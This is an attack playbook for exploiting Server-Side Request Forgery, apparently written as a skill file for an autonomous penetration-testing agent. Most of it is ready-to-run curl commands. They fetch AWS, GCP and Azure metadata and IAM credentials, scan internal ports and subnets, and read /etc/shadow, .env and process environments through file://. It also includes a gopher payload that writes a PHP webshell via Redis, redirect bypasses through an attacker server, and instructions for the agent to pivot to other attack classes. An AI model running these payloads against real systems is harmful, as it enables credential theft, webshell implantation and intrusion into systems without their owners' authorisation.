name: exploit-ssrf description: "Server-Side Request Forgery (SSRF) — exploiting server-side URL fetching to access internal services, cloud metadata (AWS/GCP/Azure), internal APIs, and port scanning. Covers IP bypass techniques, DNS rebinding, Gopher protocol smuggling, and redirect-based bypass." metadata: subdomain: web-exploitation mitre_attack: T1190 when_to_use: "ssrf, server side request forgery, url fetch, internal service, cloud metadata, 169.254.169.254, imds, metadata endpoint, redirect, gopher, dns rebinding, internal network, localhost access, port scan ssrf, url parameter, fetch url"
Server-Side Request Forgery (SSRF)
Exploits server-side URL fetching to access internal services, cloud metadata, or internal APIs not reachable from external networks.
Detection
# Test with callback server
curl -s 'https://<TARGET>/fetch?url=http://<CALLBACK>/ssrf_test' -o ssrf_callback.txt
# Test localhost access
curl -s 'https://<TARGET>/fetch?url=http://127.0.0.1/' -o ssrf_localhost.txt
# Common SSRF parameters: url, uri, path, src, dest, redirect, img, load, page, feed, to, out, ref
Cloud Metadata Exploitation
# AWS IMDSv1
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/' -o ssrf_aws_meta.txt
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/' -o ssrf_aws_role.txt
# Then fetch role credentials:
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/<ROLE_NAME>' -o ssrf_aws_creds.txt
# GCP
curl -s 'https://<TARGET>/fetch?url=http://metadata.google.internal/computeMetadata/v1/?recursive=true' -H 'Metadata-Flavor: Google' -o ssrf_gcp_meta.txt
# Azure
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/metadata/instance?api-version=2021-02-01' -H 'Metadata: true' -o ssrf_azure_meta.txt
# DigitalOcean
curl -s 'https://<TARGET>/fetch?url=http://169.254.169.254/metadata/v1.json' -o ssrf_do_meta.txt
Internal Service Scanning
# Scan internal ports via SSRF
for port in 22 80 443 3306 5432 6379 8080 8443 9200 27017; do
curl -s -o /dev/null -w "Port $port: %{http_code} (%{time_total}s)\n" \
"https://<TARGET>/fetch?url=http://127.0.0.1:${port}/"
done > ssrf_port_scan.txt
# Internal network scanning
for i in $(seq 1 254); do
curl -s -o /dev/null -w "10.0.0.$i: %{http_code} (%{time_total}s)\n" \
"https://<TARGET>/fetch?url=http://10.0.0.${i}/" --max-time 3
done > ssrf_internal_scan.txt
Bypass Techniques
# IP address variations for 127.0.0.1
# Decimal: 2130706433
# Hex: 0x7f000001
# Octal: 0177.0.0.1
# IPv6: [::1], [0000::1]
# Shorthand: 127.1, 127.0.1
# DNS rebinding — point DNS to 127.0.0.1
# URL encoding
# http://%31%32%37%2e%30%2e%30%2e%31/
# Redirect bypass — host a redirect from your server to internal target
# https://<YOUR_SERVER>/redirect?to=http://169.254.169.254/latest/meta-data/
Gopher Protocol
# Gopher SSRF to interact with internal services (Redis, MySQL, etc.)
# Redis — flush and write webshell
GOPHER_PAYLOAD="gopher://127.0.0.1:6379/_*3%0d%0a\$3%0d%0aset%0d%0a\$1%0d%0a1%0d%0a\$34%0d%0a<?php%20system(\$_GET['cmd']);?>%0d%0a*4%0d%0a\$6%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$3%0d%0adir%0d%0a\$13%0d%0a/var/www/html%0d%0a*4%0d%0a\$6%0d%0aconfig%0d%0a\$3%0d%0aset%0d%0a\$10%0d%0adbfilename%0d%0a\$9%0d%0ashell.php%0d%0a*1%0d%0a\$4%0d%0asave%0d%0a"
curl -s "https://<TARGET>/fetch?url=${GOPHER_PAYLOAD}" -o ssrf_gopher.txt
Application-Feature SSRF
When the application mediates server-side HTTP requests through a feature (not a raw ?url= parameter), look for these vectors:
# Markdown/HTML renderer — image and link tags trigger server-side fetch
# Submit as markdown content:
# 
# [x](http://127.0.0.1:8080/internal)
# PDF generator (HTML-to-PDF) — iframe or img src
# Submit as HTML content:
# <iframe src="http://localhost/admin"></iframe>
# <img src="http://169.254.169.254/latest/meta-data/">
# Webhook/callback URL — application calls back to attacker-controlled URL
# Set webhook URL to: http://127.0.0.1:<PORT>/admin
# Import-from-URL / avatar-from-URL features
curl -s -X POST 'https://<TARGET>/import' \
-d 'url=http://127.0.0.1:8080/admin' -o ssrf_import.txt
# Probe common restricted admin ports through any SSRF vector
for port in 80 443 3000 5000 8000 8080 8443 9000; do
curl -s -o ssrf_admin_${port}.txt \
'https://<TARGET>/<SSRF_VECTOR>' \
--data-urlencode "url=http://127.0.0.1:${port}/admin"
echo "Port $port: $(wc -c < ssrf_admin_${port}.txt) bytes"
done
Local File Read via file://
When the server-side fetcher supports the file:// scheme:
# Read sensitive files via file:// scheme
curl -s 'https://<TARGET>/fetch?url=file:///.env' -o ssrf_env.txt
curl -s 'https://<TARGET>/fetch?url=file:///etc/shadow' -o ssrf_shadow.txt
# Common sensitive files
curl -s 'https://<TARGET>/fetch?url=file:///etc/passwd' -o ssrf_passwd.txt
curl -s 'https://<TARGET>/fetch?url=file:///proc/self/environ' -o ssrf_environ.txt
curl -s 'https://<TARGET>/fetch?url=file:///proc/self/cmdline' -o ssrf_cmdline.txt
# App source / config (adjust path to match observed framework)
curl -s 'https://<TARGET>/fetch?url=file:///app/app.py' -o ssrf_source.txt
curl -s 'https://<TARGET>/fetch?url=file:///var/www/html/config.php' -o ssrf_config.txt
Circuit-Breaker — Dead-End Detection (MANDATORY)
SSRF bypass research is a vast space (CRLF, IPv6, DNS rebinding, @-syntax, IP encoding, Unicode normalization, …). Iterating bypass variants against ONE target endpoint that returns the SAME error response is rarely productive — the underlying block is usually parse_url() host validation or a curl --protocols allowlist that no syntax variant defeats.
Rule: After 3 consecutive failures with identical error signature against the same target host:port via the same SSRF vector, STOP iterating SSRF bypasses on that target. Write exploit/PIVOT.md documenting tried variants, then pivot to:
- A different vuln class named in recon
SUMMARY.md(most common win — recon usually surfaces 2-3 attack classes; pick the next one). - A stored-input rendering surface — many CRUD apps that have SSRF also have stored XSS / SSTI on a different field (see
ssti.mdTwig "Multi-surface rendering rule"). file://orgopher://locally — ifparse_url()accepts these, you don't need to escape the host check.- Loopback to the front-end app's own admin/debug routes:
http://host.docker.internal:<APP_PORT>/admin,/debug,/.git/config,/server-status.
# Failure-signature check — match identical responses to detect dead-end loop
LAST=""; STRIKES=0
for variant in raw encoded ipv6 rebind; do
RESP=$(curl -s "http://<TARGET>/<SSRF_VECTOR>" --data-urlencode "url=<variant>" | md5sum | cut -d' ' -f1)
[ "$RESP" = "$LAST" ] && STRIKES=$((STRIKES+1)) || STRIKES=0
LAST=$RESP
[ $STRIKES -ge 3 ] && echo "DEAD END — PIVOT" && break
done
Anti-pattern: 20+ SSRF bypass attempts against a single port that consistently returned "Failed to fetch URL" or identical error pages. The block is upstream of URL syntax — the variant space is exhausted.